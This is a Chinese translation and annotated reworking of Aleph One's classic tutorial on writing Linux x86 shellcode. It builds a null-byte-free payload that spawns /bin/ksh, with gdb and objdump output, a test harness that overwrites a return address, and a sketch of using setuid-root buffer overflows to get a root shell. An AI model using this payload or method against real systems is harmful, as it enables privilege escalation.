歡迎您光臨本站 註冊首頁

linux下的shellcode書寫

←手機掃碼閱讀     火星人 @ 2014-03-12 , reply:0
  原 作:aleph1 <>
翻譯註釋:warning3 1999/07
驗證修改:scz 2000/01/13

概述:

aleph1書寫了這篇經典文章,首先要向他致敬。
tt整理翻譯了它,其次就是要向他表示衷心的感謝。

該篇文章由淺入深地詳細介紹了整個書寫shellcode的步驟,
並給出了圖示幫助理解。文章中涉及到了一些工具的使用,
要求具備彙編語言、編譯原理的基礎知識,如果你對此不
了解的話,我建議你不要看下去,而是應該回頭學習更基礎
的東西。gdb、objdump、vi、gcc等等工具你必須學會使用,
你必須了解call命令、int命令與普通jmp命令的區別所在,
你還應該知道函數從c語言編譯到機器碼時做了什麼工作。
如果所有的這一切都不成問題,你可以開始了。
come on,baby!

測試:

RedHat 6.0/Intel PII

目錄:

★ 讓我們開始吧

1. vi shellcode.c
2. gcc -o shellcode -ggdb -static shellcode.c
3. gdb shellcode
4. 研究 main() 函數的彙編代碼
5. 研究 execve() 函數的執行過程
6. vi shellcode_exit.c
7. gcc -o shellcode_exit -static shellcode_exit.c
8. gdb shellcode_exit
9. 研究 exit() 函數的執行過程
10. 整個過程的偽彙編代碼
11. 觀察堆棧分佈情況
12. 修改後的偽彙編代碼
13. 調整彙編代碼
14. 觀察當前堆棧
15. vi shellcodeasm.c
16. gcc -o shellcodeasm -g -ggdb shellcodeasm.c
17. gdb shellcodeasm
18. 驗證shellcode
19. 最後的調整
20. 驗證最後調整得到的shellcode

★ 我對shellcode以及這篇文章的看法

1. 你是從DOS年代過來的嗎?
2. 關於文章中的一些技術說明
3. 如何寫Sun工作站上的shellcode?

★ 讓我們開始吧

1. vi shellcode.c

#include
int main ( int argc, char * argv[] )
{
char * name[2];
name[0] = "/bin/ksh";
name[1] = NULL;
execve( name[0], name, NULL );
return 0;
}

2. gcc -o shellcode -ggdb -static shellcode.c

3. gdb shellcode

[scz@ /home/scz/src]> gdb shellcode
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main <-- -- 輸入
Dump of assembler code for function main:
0x80481a0 : pushl %ebp
0x80481a1 : movl %esp,%ebp
0x80481a3 : subl $0x8,%esp
0x80481a6 : movl $0x806f308,0xfffffff8(%ebp)
0x80481ad : movl $0x0,0xfffffffc(%ebp)
0x80481b4 : pushl $0x0
0x80481b6 : leal 0xfffffff8(%ebp),%eax
0x80481b9 : pushl %eax
0x80481ba : movl 0xfffffff8(%ebp),%eax
0x80481bd : pushl %eax
0x80481be : call 0x804b9b0 <__execve>
0x80481c3 : addl $0xc,%esp
0x80481c6 : xorl %eax,%eax
0x80481c8 : jmp 0x80481d0
0x80481ca : leal 0x0(%esi),%esi
0x80481d0 : leave
0x80481d1 : ret
End of assembler dump.
(gdb) disas __execve <-- -- 輸入
Dump of assembler code for function __execve:
0x804b9b0 <__execve>: pushl %ebx
0x804b9b1 <__execve+1>: movl 0x10(%esp,1),%edx
0x804b9b5 <__execve+5>: movl 0xc(%esp,1),%ecx
0x804b9b9 <__execve+9>: movl 0x8(%esp,1),%ebx
0x804b9bd <__execve+13>: movl $0xb,%eax
0x804b9c2 <__execve+18>: int $0x80
0x804b9c4 <__execve+20>: popl %ebx
0x804b9c5 <__execve+21>: cmpl $0xfffff001,%eax
0x804b9ca <__execve+26>: jae 0x804bcb0 <__syscall_error>
0x804b9d0 <__execve+32>: ret
End of assembler dump.

4. 研究 main() 函數的彙編代碼

0x80481a0 : pushl %ebp # 保存原來的棧基指針
# 棧基指針與堆棧指針不是一個概念
# 棧基指針對應棧底,堆棧指針對應棧頂
0x80481a1 : movl %esp,%ebp # 修改得到新的棧基指針
# 與我們以前在dos下彙編格式不一樣
# 這個語句是說把esp的值賦給ebp
# 而在dos下,正好是反過來的,一定要注意
0x80481a3 : subl $0x8,%esp # 堆棧指針向棧頂移動八個位元組
# 用於分配局部變數的存儲空間
# 這裡具體就是給 char * name[2] 預留空間
# 因為每個字元指針佔用4個位元組,總共兩個指針
0x80481a6 : movl $0x806f308,0xfffffff8(%ebp)
# 將字元串"/bin/ksh"的地址拷貝到name[0]
# name[0] = "/bin/ksh";
# 0xfffffff8(%ebp) 就是 ebp - 8 的意思
# 注意堆棧的增長方向以及局部變數的分配方向
# 先分配name[0]後分配name[1]的空間
0x80481ad : movl $0x0,0xfffffffc(%ebp)
# 將NULL拷貝到name[1]
# name[1] = NULL;
0x80481b4 : pushl $0x0
# 按從右到左的順序將execve()的三個參數依次壓棧
# 首先壓入 NULL (第三個參數)
# 注意pushl將壓入一個四位元組長的0
0x80481b6 : leal 0xfffffff8(%ebp),%eax
# 將 ebp - 8 本身放入eax寄存器中
# leal的意思是取地址,而不是取值
0x80481b9 : pushl %eax # 其次壓入 name
0x80481ba : movl 0xfffffff8(%ebp),%eax
0x80481bd : pushl %eax # 將 ebp - 8 本身放入eax寄存器中
# 最後壓入 name[0]
# 即 "/bin/ksh" 字元串的地址
0x80481be : call 0x804b9b0 <__execve>
# 開始調用 execve()
# call指令首先會將返回地址壓入堆棧
0x80481c3 : addl $0xc,%esp
# esp + 12
# 釋放為了調用 execve() 而壓入堆棧的內容
0x80481c6 : xorl %eax,%eax
0x80481c8 : jmp 0x80481d0
0x80481ca : leal 0x0(%esi),%esi
0x80481d0 : leave
0x80481d1 : ret

5. 研究 execve() 函數的執行過程

Linux在寄存器里傳遞它的參數給系統調用,用軟體中斷跳到kernel模式(int $0x80)

0x804b9b0 <__execve>: pushl %ebx # ebx壓棧
0x804b9b1 <__execve+1>: movl 0x10(%esp,1),%edx
# 把 esp + 16 本身賦給edx
# 為什麼是16,因為棧頂現在是ebx
# 下面依次是返回地址、name[0]、name、NULL
# edx --> NULL
0x804b9b5 <__execve+5>: movl 0xc(%esp,1),%ecx
# 把 esp + 12 本身賦給 ecx
# ecx --> name
# 命令的參數數組,包括命令自己
0x804b9b9 <__execve+9>: movl 0x8(%esp,1),%ebx
# 把 esp + 8 本身賦給 ebx
# ebx --> name[0]
# 命令本身,"/bin/ksh"
0x804b9bd <__execve+13>: movl $0xb,%eax
# 設置eax為0xb,這是syscall表中的索引
# 0xb對應execve
0x804b9c2 <__execve+18>: int $0x80
# 軟體中斷,轉入kernel模式
0x804b9c4 <__execve+20>: popl %ebx
# 恢復ebx
0x804b9c5 <__execve+21>: cmpl $0xfffff001,%eax
0x804b9ca <__execve+26>: jae 0x804bcb0 <__syscall_error>
# 判斷返回值,報告可能的系統調用錯誤
0x804b9d0 <__execve+32>: ret # execve() 調用返回
# 該指令會用壓在堆棧中的返回地址

從上面的分析可以看出,完成 execve() 系統調用,我們所要做的不過是這麼幾項而已:

a) 在內存中有以NULL結尾的字元串"/bin/ksh"
b) 在內存中有"/bin/ksh"的地址,其後是一個 unsigned long 型的NULL值
c) 將0xb拷貝到寄存器EAX中
d) 將"/bin/ksh"的地址拷貝到寄存器EBX中
e) 將"/bin/ksh"地址的地址拷貝到寄存器ECX中
f) 將 NULL 拷貝到寄存器EDX中
g) 執行中斷指令int $0x80

如果execve()調用失敗的話,程序將繼續從堆棧中獲取指令並執行,而此時堆棧中的數據
是隨機的,通常這個程序會core dump。我們希望如果execve調用失敗的話,程序可以正
常退出,因此我們必須在execve調用后增加一個exit系統調用。它的C語言程序如下:

6. vi shellcode_exit.c

#include
int main ()
{
exit( 0 );
}

7. gcc -o shellcode_exit -static shellcode_exit.c

8. gdb shellcode_exit

[scz@ /home/scz/src]> gdb shellcode_exit
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas _exit <-- -- 輸入
Dump of assembler code for function _exit:
0x804b970 <_exit>: movl %ebx,%edx
0x804b972 <_exit+2>: movl 0x4(%esp,1),%ebx
0x804b976 <_exit+6>: movl $0x1,%eax
0x804b97b <_exit+11>: int $0x80
0x804b97d <_exit+13>: movl %edx,%ebx
0x804b97f <_exit+15>: cmpl $0xfffff001,%eax
0x804b984 <_exit+20>: jae 0x804bc60 <__syscall_error>
End of assembler dump.

9. 研究 exit() 函數的執行過程

我們可以看到,exit系統調用將0x1放到EAX中(這是它的syscall索引值),將退出碼放
入EBX中,然後執行"int $0x80"。大部分程序正常退出時返回0值,我們也在EBX中放入0。
現在我們所要完成的工作又增加了三項:

a) 在內存中有以NULL結尾的字元串"/bin/ksh"

b) 在內存中有"/bin/ksh"的地址,其後是一個 unsigned long 型的NULL值
c) 將0xb拷貝到寄存器EAX中
d) 將"/bin/ksh"的地址拷貝到寄存器EBX中
e) 將"/bin/ksh"地址的地址拷貝到寄存器ECX中
f) 將 NULL 拷貝到寄存器EDX中
g) 執行中斷指令int $0x80
h) 將0x1拷貝到寄存器EAX中
i) 將0x0拷貝到寄存器EBX中
j) 執行中斷指令int $0x80

10. 整個過程的偽彙編代碼

下面我們用彙編語言完成上述工作。我們把"/bin/ksh"字元串放到代碼的後面,並且會
把字元串的地址和NULL加到字元串的後面:

------------------------------------------------------------------------------
movl string_addr,string_addr_addr #將字元串的地址放入某個內存單元中
movb $0x0,null_byte_addr #將null放入字元串"/bin/ksh"的結尾
movl $0x0,null_addr #將NULL放入某個內存單元中
movl $0xb,%eax #將0xb拷貝到EAX中
movl string_addr,%ebx #將字元串的地址拷貝到EBX中
leal string_addr_addr,%ecx #將存放字元串地址的地址拷貝到ECX中
leal null_string,%edx #將存放NULL的地址拷貝到EDX中
int $0x80 #執行中斷指令int $0x80 (execve()完成)
movl $0x1, %eax #將0x1拷貝到EAX中
movl $0x0, %ebx #將0x0拷貝到EBX中
int $0x80 #執行中斷指令int $0x80 (exit(0)完成)
/bin/ksh string goes here. #存放字元串"/bin/ksh"
------------------------------------------------------------------------------

11. 觀察堆棧分佈情況

現在的問題是我們並不清楚我們正試圖exploit的代碼和我們要放置的字元串在內存中
的確切位置。一種解決的方法是用一個jmp和call指令。jmp和call指令可以用IP相關定址,
也就是說我們可以從當前正要運行的地址跳到一個偏移地址處執行,而不必知道這個地址
的確切數值。如果我們將call指令放在字元串"/bin/ksh"的前面,然後jmp到call指令的位置,
那麼當call指令被執行的時候,它會首先將下一個要執行指令的地址(也就是字元串的地址
)壓入堆棧。我們可以讓call指令直接調用我們shellcode的開始指令,然後將返回地址(字元
串地址)從堆棧中彈出到某個寄存器中。假設J代表JMP指令,C代表CALL指令,S代表其他指令,
s代表字元串"/bin/ksh",那麼我們執行的順序就象下圖所示:

內存 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 內存
低端 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 高端
buffer sfp ret a b c

<------ [jjssssssssssssssccss][ssss][0xd8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
棧頂 棧底

sfp : 棧基指針
ret : 返回地址
a,b,c: 函數入口參數

(1)用0xD8覆蓋返回地址后,子函數返回時將跳到0xD8處開始執行,也就是我們shellcode
的起始處
(2)由於0xD8處是一個jmp指令,它直接跳到了0xE8處執行我們的call指令
(3)call指令先將返回地址(也就是字元串地址)0xEA壓棧后,跳到0xDA處開始執行

12. 修改後的偽彙編代碼

經過上述修改後,我們的彙編代碼變成了下面的樣子:

------------------------------------------------------------------------------
jmp offset-to-call # 3 bytes 1.首先跳到call指令處去執行
popl %esi # 1 byte 3.從堆棧中彈出字元串地址到ESI中
movl %esi,array-offset(%esi) # 3 bytes 4.將字元串地址拷貝到字元串後面
movb $0x0,nullbyteoffset(%esi)# 4 bytes 5.將null位元組放到字元串的結尾
movl $0x0,null-offset(%esi) # 7 bytes 6.將null長字放到字元串地址的地址後面
movl $0xb,%eax # 5 bytes 7.將0xb拷貝到EAX中
movl %esi,%ebx # 2 bytes 8.將字元串地址拷貝到EBX中
leal array-offset(%esi),%ecx # 3 bytes 9.將字元串地址的地址拷貝到ECX
leal null-offset(%esi),%edx # 3 bytes 10.將null串的地址拷貝到EDX
int $0x80 # 2 bytes 11.調用中斷指令int $0x80
movl $0x1, %eax # 5 bytes 12.將0x1拷貝到EAX中
movl $0x0, %ebx # 5 bytes 13.將0x0拷貝到EBX中
int $0x80 # 2 bytes 14.調用中斷int $0x80
call offset-to-popl # 5 bytes 2.將返回地址壓棧,跳到popl處執行
/bin/ksh string goes here.
------------------------------------------------------------------------------

13. 調整彙編代碼

計算一下從jmp到call和從call到popl,以及從字元串地址到name數組,從字元串地址到
null串的偏移量,我們得到下面的程序:

------------------------------------------------------------------------------
jmp 0x2a # 3 bytes 1.首先跳到call指令處去執行
popl %esi # 1 byte 3.從堆棧中彈出字元串地址到ESI中
movl %esi,0x9(%esi) # 3 bytes 4.將字元串地址拷貝到字元串後面
movb $0x0,0x8(%esi) # 4 bytes 5.將null位元組放到字元串尾部
movl $0x0,0xd(%esi) # 7 bytes 6.將null長字放到字元串地址后
movl $0xb,%eax # 5 bytes 7.將0xb拷貝到EAX中
movl %esi,%ebx # 2 bytes 8.將字元串地址拷貝到EBX中
leal 0x9(%esi),%ecx # 3 bytes 9.將字元串地址的地址拷貝到ECX
leal 0xd(%esi),%edx # 3 bytes 10.將null串的地址拷貝到EDX
int $0x80 # 2 bytes 11.調用中斷指令int $0x80
movl $0x1, %eax # 5 bytes 12.將0x1拷貝到EAX中
movl $0x0, %ebx # 5 bytes 13.將0x0拷貝到EBX中
int $0x80 # 2 bytes 14.調用中斷int $0x80
call -0x2f # 5 bytes 2.將返回地址壓棧,跳到popl處執行
.string "/bin/ksh" # 9 bytes
------------------------------------------------------------------------------

14. 觀察當前堆棧

當上述過程執行到第7步時,我們可以看一下這時堆棧中的情況
假設字元串的地址是0xbfffc5f0:

|........ |
|---------|0xbfffc5f0 %esi 字元串地址
| / |
|---------|
|  |
|---------|
| i |
|---------|
| |
|---------|
| / |
|---------|
| k |
|---------|
| s |
|---------|
| h |
|---------|0xbfffc5f8 0x8(%esi) null位元組的地址
| 0 |
|---------|0xbfffc5f9 0x9(%esi) 存放字元串指針的地址 即name[0] 大小是4個位元組
| 0xbf |
|---------|注: 這四個位元組實際可能並不是按順序存儲的,也許是按0xf0c5ffbf的順序。
| 0xff | 我沒有驗證過,只是為了說明問題,簡單的這麼寫了一下。
|---------|
| 0xc5 |
|---------|
| 0xf0 |
|---------|0xbfffc5fd 0xd(%esi) 空串的地址 即name[1] 大小是4個位元組
| 0 |
|---------|
| 0 |
|---------|
| 0 |
|---------|
| 0 |
|---------|
| ....... |

15. vi shellcodeasm.c

為了證明它能正常工作,我們必須編譯並運行它。但這裡有個問題,我們的代碼要自己修
改自己,而大部分操作系統都將代碼段設為只讀,為了繞過這個限制,我們必須將我們希望
執行的代碼放到堆棧或數據段中,並且轉向執行它,可以將代碼放到數據段的一個全局
數組中。首先需要得到二進位碼的16進位形式,可以先編譯,然後用GDB得到我們所要的東西

int main ()
{
__asm__
("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x9(%esi) # 3 bytes
movb $0x0,0x8(%esi) # 4 bytes
movl $0x0,0xd(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x9(%esi),%ecx # 3 bytes
leal 0xd(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string "/bin/ksh" # 9 bytes
");
}

16. gcc -o shellcodeasm -g -ggdb shellcodeasm.c

17. gdb shellcodeasm

[scz@ /home/scz/src]> gdb shellcodeasm
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048398 : pushl %ebp
0x8048399 : movl %esp,%ebp
0x804839b : jmp 0x80483c7
0x804839d : popl %esi
0x804839e : movl %esi,0x9(%esi)
0x80483a1 : movb $0x0,0x8(%esi)
0x80483a5 : movl $0x0,0xd(%esi)
0x80483ac : movl $0xb,%eax
0x80483b1 : movl %esi,%ebx
0x80483b3 : leal 0x9(%esi),%ecx
0x80483b6 : leal 0xd(%esi),%edx
0x80483b9 : int $0x80
0x80483bb : movl $0x1,%eax
0x80483c0 : movl $0x0,%ebx
0x80483c5 : int $0x80
0x80483c7 : call 0x804839d
0x80483cc : das
0x80483cd : boundl 0x6e(%ecx),%ebp
0x80483d0 : das
0x80483d1 : imull $0x0,0x68(%ebx),%esi
0x80483d5 : leave
0x80483d6 : ret
End of assembler dump.
(gdb) x/bx main+3 <-- -- 輸入
0x804839b : 0xeb
(gdb)
0x804839c : 0x2a
(gdb)
...

如此下去即可得到完整的機器碼。
但是我們不必如此羅嗦,昨天介紹過的objdump今天派上用場了:
objdump -j .text -Sl shellcodeasm | more
/main
得到如下結果:

08048398 :
main():
/home/scz/src/shellcodeasm.c:2
{
8048398: 55 pushl %ebp
8048399: 89 e5 movl %esp,%ebp
/home/scz/src/shellcodeasm.c:3
__asm__
804839b: eb 2a jmp 80483c7
804839d: 5e popl %esi
804839e: 89 76 09 movl %esi,0x9(%esi)
80483a1: c6 46 08 00 movb $0x0,0x8(%esi)
80483a5: c7 46 0d 00 00 00 00 movl $0x0,0xd(%esi)
80483ac: b8 0b 00 00 00 movl $0xb,%eax
80483b1: 89 f3 movl %esi,%ebx
80483b3: 8d 4e 09 leal 0x9(%esi),%ecx
80483b6: 8d 56 0d leal 0xd(%esi),%edx
80483b9: cd 80 int $0x80
80483bb: b8 01 00 00 00 movl $0x1,%eax
80483c0: bb 00 00 00 00 movl $0x0,%ebx
80483c5: cd 80 int $0x80
80483c7: e8 d1 ff ff ff call 804839d
80483cc: 2f das
80483cd: 62 69 6e boundl 0x6e(%ecx),%ebp
80483d0: 2f das
80483d1: 6b 73 68 00 imull $0x0,0x68(%ebx),%esi
/home/scz/src/shellcodeasm.c:21
("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x9(%esi) # 3 bytes
movb $0x0,0x8(%esi) # 4 bytes
movl $0x0,0xd(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x9(%esi),%ecx # 3 bytes
leal 0xd(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string "/bin/ksh" # 9 bytes
");
}
80483d5: c9 leave
80483d6: c3 ret
80483d7: 90 nop

整理shellcode如下:

eb 2a 5e 89 76 09 c6 46 08 00 c7 46 0d 00 00 00 00 b8 0b 00
00 00 89 f3 8d 4e 09 8d 56 0d cd 80 b8 01 00 00 00 bb 00 00
00 00 cd 80 e8 d1 ff ff ff 2f 62 69 6e 2f 6b 73 68 00 c9 c3

18. 驗證shellcode

vi shelltest.c

char shellcode[] =
"xebx2ax5ex89x76x09xc6x46x08x00xc7x46x0dx00x00x00x00xb8x0bx00"
"x00x00x89xf3x8dx4ex09x8dx56x0dxcdx80xb8x01x00x00x00xbbx00x00"
"x00x00xcdx80xe8xd1xffxffxffx2fx62x69x6ex2fx6bx73x68x00xc9xc3";

int main ()
{
int * ret; /* 當前esp指向的地址保存ret的值 */

ret = ( int * )&ret + 2; /* 得到 esp + 2 * 4,那是返回地址IP */
( *ret ) = ( int )shellcode; /* 修改了 main() 函數的返回地址,那是很重要的一步 */
}

[scz@ /home/scz/src]> gcc -o shelltest shelltest.c
[scz@ /home/scz/src]> ./shelltest
$ exit
[scz@ /home/scz/src]>

那說明一切都成功了!為了幫助你理解,我們還是來看看這段程序究竟做了什麼:

objdump -j .text -Sl shelltest | more
/main
得到如下結果:

08048398 :
main():
8048398: 55 pushl %ebp
8048399: 89 e5 movl %esp,%ebp
804839b: 83 ec 04 subl $0x4,%esp # 給局部變數預留空間
804839e: 8d 45 fc leal 0xfffffffc(%ebp),%eax # ebp - 4 => eax
# 取了棧頂指針
# 為什麼不直接用esp賦值?
80483a1: 8d 50 08 leal 0x8(%eax),%edx # eax + 8 => edx
# edx現在指向IP
80483a4: 89 55 fc movl %edx,0xfffffffc(%ebp) # edx => [ ebp - 4 ]
# 把IP的地址放入局部變數中
80483a7: 8b 45 fc movl 0xfffffffc(%ebp),%eax # ebp - 4 => eax
# eax現在保存著IP的地址
80483aa: c7 00 40 94 04 08 movl $0x8049440,(%eax) # 修改了返回地址
80483b0: c9 leave
80483b1: c3 ret
80483b2: 90 nop

19. 最後的調整

它現在工作了,但還有個小問題。大多數情況下我們都是試圖overflow一個字元型
buffer,因此在我們的shellcode中任何的null位元組都會被認為是字元串的結束,copy過程
就被中止了。因此要使exploit工作,shellcode中不能有null位元組,我們可以略微調整一
下代碼:

有問題的指令 替代指令
--------------------------------------------------------
movb $0x0,0x8(%esi) xorl %eax,%eax
movl $0x0,0xd(%esi) movb %eax,0x8(%esi)
movl %eax,0xd(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------

我們改進后的代碼如下:

vi shellcodeasm.c

int main ()
{
__asm__
("
jmp 0x1f # 3 bytes
popl %esi # 1 byte
movl %esi,0x9(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x8(%esi) # 3 bytes
movl %eax,0xd(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x9(%esi),%ecx # 3 bytes
leal 0xd(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string "/bin/ksh" # 9 bytes
# 48 bytes total
");
}

[scz@ /home/scz/src]> gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[scz@ /home/scz/src]> gdb shellcodeasm
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048398 : pushl %ebp
0x8048399 : movl %esp,%ebp
0x804839b : jmp 0x80483bc
0x804839d : popl %esi
0x804839e : movl %esi,0x9(%esi)
0x80483a1 : xorl %eax,%eax
0x80483a3 : movb %al,0x8(%esi)
0x80483a6 : movl %eax,0xd(%esi)
0x80483a9 : movb $0xb,%al
0x80483ab : movl %esi,%ebx
0x80483ad : leal 0x9(%esi),%ecx
0x80483b0 : leal 0xd(%esi),%edx
0x80483b3 : int $0x80
0x80483b5 : xorl %ebx,%ebx
0x80483b7 : movl %ebx,%eax
0x80483b9 : incl %eax
0x80483ba : int $0x80
0x80483bc : call 0x804839d
0x80483c1 : das
0x80483c2 : boundl 0x6e(%ecx),%ebp
0x80483c5 : das
0x80483c6 : imull $0x0,0x68(%ebx),%esi
0x80483ca : leave
0x80483cb : ret
End of assembler dump.
(gdb)

objdump -j .text -Sl shellcodeasm | more
/main
得到如下結果:

08048398 :
main():
/home/scz/src/shellcodeasm.c:2
{
8048398: 55 pushl %ebp
8048399: 89 e5 movl %esp,%ebp
/home/scz/src/shellcodeasm.c:3
__asm__
804839b: eb 1f jmp 80483bc
804839d: 5e popl %esi
804839e: 89 76 09 movl %esi,0x9(%esi)
80483a1: 31 c0 xorl %eax,%eax
80483a3: 88 46 08 movb %al,0x8(%esi)
80483a6: 89 46 0d movl %eax,0xd(%esi)
80483a9: b0 0b movb $0xb,%al
80483ab: 89 f3 movl %esi,%ebx
80483ad: 8d 4e 09 leal 0x9(%esi),%ecx
80483b0: 8d 56 0d leal 0xd(%esi),%edx
80483b3: cd 80 int $0x80
80483b5: 31 db xorl %ebx,%ebx
80483b7: 89 d8 movl %ebx,%eax
80483b9: 40 incl %eax
80483ba: cd 80 int $0x80
80483bc: e8 dc ff ff ff call 804839d
80483c1: 2f das
80483c2: 62 69 6e boundl 0x6e(%ecx),%ebp
80483c5: 2f das
80483c6: 6b 73 68 00 imull $0x0,0x68(%ebx),%esi
/home/scz/src/shellcodeasm.c:24
("
jmp 0x1f # 3 bytes
popl %esi # 1 byte
movl %esi,0x9(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x8(%esi) # 3 bytes
movl %eax,0xd(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x9(%esi),%ecx # 3 bytes
leal 0xd(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string "/bin/ksh" # 9 bytes
# 48 bytes total
");
}
80483ca: c9 leave
80483cb: c3 ret
80483cc: 90 nop

整理shellcode如下:

eb 1f 5e 89 76 09 31 c0 88 46 08 89 46 0d b0 0b
89 f3 8d 4e 09 8d 56 0d cd 80 31 db 89 d8 40 cd
80 e8 dc ff ff ff 2f 62 69 6e 2f 6b 73 68 00 c9 c3

20. 驗證最後調整得到的shellcode

vi shelltest.c

char shellcode[] =
"xebx1fx5ex89x76x09x31xc0x88x46x08x89x46x0dxb0x0b"
"x89xf3x8dx4ex09x8dx56x0dxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxffx2fx62x69x6ex2fx6bx73x68x00xc9xc3";

int main ()
{
int * ret; /* 當前esp指向的地址保存ret的值 */

ret = ( int * )&ret + 2; /* 得到 esp + 2 * 4,那是返回地址IP */
( *ret ) = ( int )shellcode; /* 修改了 main() 函數的返回地址,那是很重要的一步 */
}

[scz@ /home/scz/src]> gcc -o shelltest shelltest.c
[scz@ /home/scz/src]> ./shelltest
$ exit
[scz@ /home/scz/src]>

現在你已經明白了怎麼寫shellcode了,並不象想象中那麼難,是吧?:-)
這裡介紹的僅僅是一個寫shellcode的思路以及需要注意的一些問題。
你可以根據自己的需要,編寫出自己的shellcode來。

★ 我對shellcode以及這篇文章的看法

1. 你是從DOS年代過來的嗎?

如果答案肯定,我就不多說了,因為上面通篇實際上並沒有超出當年我們
在DOS遊戲彙編的範疇,畢竟Linux跑在Intel x86架構上。當發生far call的
時候,cs:ip對被壓棧,先是ip后是cs,現在想起來為什麼上面的介紹那麼地
似曾相識了吧。int發生的時候不過多壓了個flag而已。那麼far jmp就更不
用多說。回憶,再回憶,回憶那些當年我們為之付出心血的DOS下的彙編語言。
ret、iret、int 3、int 21、int 1,TSR,你還能想起什麼塵封了的往事。

通過修改堆棧中的返回地址將程序流程引導到別處,曾經是dos下的家常便飯,
為了防止中斷向量被修改,寧可遠程call遠程跳轉也不願意使用int指令,編寫
自己的debug程序,利用int 1的單步,難道你沒有修改過堆棧中的返回地址?
為了嵌入那些當前編譯器不支持的機器碼,用db直接插入機器碼。為了提高某些
關鍵代碼的執行效率,使用嵌入式彙編,難道你從來沒有看過.s文件?

不再回憶,DOS已是昨天。

2. 關於文章中的一些技術說明

原文是用/bin/sh的,我為了從頭實際演練一番,用了/bin/ksh,你要是
樂意可以使用任意的shell。其次,可能是原文有誤,要麼是翻譯中書寫錯誤,
反正是有那麼幾處錯誤,我都一一調整過來了。原文是用gdb那樣獲得完整的
shellcode的,而我昨天剛剛介紹了objdump的使用,所以也可以利用objdump
獲得shellcode,上文中已經多次給出了完整的命令。

最後的shelltest,我給加上了註釋,因為你可能看到最後沒有理解shellcode
如何被執行的。因為c編譯器給main()函數前後都加了啟動結束代碼,main()
函數也是被調用的,也有自己的返回地址,所以程序中修改main()的返回地址
使得shellcode被執行。所以,你不能在main()函數的最後調用exit(0)。因為
函數的形式參數先於返回地址壓棧,所以即使成了
int main ( int argc, char * argv[] )
也不影響返回地址的修改。

定義ret局部變數就意味著esp已經獲得,必須明確理解這一點。

這裡僅僅介紹了如何寫自己的shellcode,並沒有介紹緩衝區溢出本身。
簡單說兩句。從純粹的攻擊角度而言,首先要尋找那些suid/sgid的屬主
是root的應用程序,然後判斷該應用程序是否可能發生緩衝區溢出,繼而
搶在應用程序結束之前嵌入自己的shellcode,因為應用程序結束之前一般
而言還處在suid狀態,那麼此時執行的shellcode也就具有了suid特性,
於是擁有root許可權的shell展現在你的眼前,還等什麼?關於緩衝區溢出
本身回頭再經典回放,力爭做到通俗易懂,可以照貓畫老虎,今天不提它了,:-)

3. 如何寫Sun工作站上的shellcode?

建議去綠色兵團的Unix系統安全論壇學習這方面的知識,tt目前坐鎮那裡,
倒是展開了不少技術討論,你可以只看不吭聲,嘿嘿。
不過,只要稍微花點時間看看answer book中關於Sun工作站上的彙編那一
部分,原理是一致的,而且GNU工具也不是沒有,如果你一定喜歡gdb而不是
dbx的話,faint

我是沒有Sun工作站可以用了,否則今天就以它為例子來演習,可惜。

★ 後記

最後再次向aleph1致敬,感謝tt為我們大家翻譯整理了它。
要是多一些這樣的朋友,系統安全一定可以得到實質性提高。
BTW,討厭聽別人說,怎麼怎麼黑了誰誰。


[火星人 ] linux下的shellcode書寫已經有731次圍觀

http://coctec.com/docs/program/show-post-72349.html